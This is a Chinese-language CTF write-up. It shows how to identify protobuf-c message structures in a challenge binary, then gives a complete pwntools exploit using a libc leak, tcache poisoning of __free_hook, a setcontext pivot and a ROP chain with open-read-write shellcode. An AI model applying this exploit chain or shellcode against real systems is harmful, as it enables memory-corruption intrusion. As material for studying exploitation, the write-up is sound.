Table of Contents
protobuf
要如何识别出这个加密是一个 protobuf 呢?有如下几种办法
关键字符串/常数
搜索字符串,可以在 github 上找到仓库
actual_length_size == length_size_min + 1rv->descriptor != NULL28AAEEF9标志性结构体
如果之前有经验的话,看到这个结构体就可以知道是 protobuf 了
protobuf 每一个字段都有一个 ProtobufCFieldDescriptor 结构体定义。可以从 protobuf-c.h 用 ida 导入头文件中的结构体,在 data 段找到对应的部分(把原本的东西 undefine 先)右键 structure 就可以设置结构体了。效果是这样:
根据识别出来的结构体可以写出 protobuf 定义
syntax = "proto2";
message msg { required sint64 actionid = 1; required sint64 msgidx = 2; required sint64 msgsize = 3; required bytes msgcontent = 4;}finger
可以识别出来函数名,protobuf_message_check
复现
漏洞点在 delete 函数,直接用 tcache poisoning 改 freehook 就 ok
free(*((void **)&addr_list + a1));result = &input[a1];input[a1] = 0;由于 ban 了 execve,所以用 freehook -> gadget -> setcontext -> rop_get_sc -> orw。
gadget 这么找:
ROPgadget --binary libc-2.31.so --only 'mov|call' | grep 'rdi' | grep 'rdx'
0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]setcontext 长这样:
故构造如下:
0x8 user_data_pointer # 当前chunk的存放数据的指针0x18 gadget # 给 rdx 赋值的 gadget0x20 setcontext+61 # 新版本里的 setcontext 用的寄存器是 rdx0xa0 rsp # rop 链的位置0xa8 rcx # 下一步要执行的地址exp
from pwn import *import try_pb2
elf_path = "./pwn"libc_path = "./libc-2.31.so"ip = "121.40.89.206"port = "20111"content = 1
context(os='linux',arch='amd64',log_level='debug')os.system('tmux set mouse on')if content == 1: context.terminal = ['tmux','splitw','-h'] p = process(elf_path) # gdb.attach(p) # p = gdb.debug(elf_path) # pause()
else: p = remote(ip, port)
r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)shell = lambda : p.interactive()def leak(name, addr): return log.success('{} = {:#x}'.format(name, addr))
# # ----------------------------------------------------------
def add(index,size,content): msginfo1 = try_pb2.msg() msginfo1.actionid = 1 msginfo1.msgidx = index msginfo1.msgsize = size msginfo1.msgcontent = content payload = msginfo1.SerializeToString() sa(b'now: \n', payload)
def delete(index): msginfo2 = try_pb2.msg() msginfo2.actionid = 4 msginfo2.msgidx = index msginfo2.msgsize = 0 msginfo2.msgcontent = b'' payload = msginfo2.SerializeToString() sa(b'now: \n', payload)
def edit(index,content): msginfo3 = try_pb2.msg() msginfo3.actionid = 2 msginfo3.msgidx = index msginfo3.msgsize = 0 msginfo3.msgcontent = content payload = msginfo3.SerializeToString() sa(b'now: \n', payload)
def show(index): msginfo1 = try_pb2.msg() msginfo1.actionid = 3 msginfo1.msgidx = index msginfo1.msgsize = 0 msginfo1.msgcontent = b'' payload = msginfo1.SerializeToString() sa(b'now: \n', payload)
# libc_basefor i in range(10): add(i, 0xf0, b'a')for i in range(8): delete(i)show(7)ru(b'\x7f\x00\x00')malloc_hook = u64(rx(8)) -96 - 0x10libc = ELF(libc_path)libc_base = malloc_hook - libc.sym['__malloc_hook']free_hook = libc_base + libc.sym['__free_hook']
# tcache poisoningedit(6, p64(free_hook-0x18))add(10, 0xf0, b'a')
# get_scrdi = 0x23b6a + libc_baserdx = 0x142c92 + libc_basersi = 0x2601f + libc_baseaddr = 0xb000 + libc_baseread = libc_base + libc.sym['read']mprotect = libc_base + libc.sym['mprotect']
get_sc = flat(addr,rsi,0x1000,rdx,7,mprotect,rdi,0,rsi,addr,rdx,0x1000,read,addr)
# setcontextsetcontext_61 = libc.sym['setcontext'] + 61 + libc_basegadget = 0x151990 + libc_base
hack = flat( { 0x8: free_hook - 0x18, 0x18: gadget, 0x20: setcontext_61, 0x28: get_sc, 0xa0: free_hook - 0x18 + 0x28, 0xa8: rdi })
add(11, 0xf0, hack)delete(11)orw = b'hflagH\x89\xe71\xf6j\x02X\x0f\x05H\x89\xc7H\x89\xe6jZZ1\xc0\x0f\x05j\x01_H\x89\xe6j\x01X\x0f\x05'sl(orw)
p.interactive()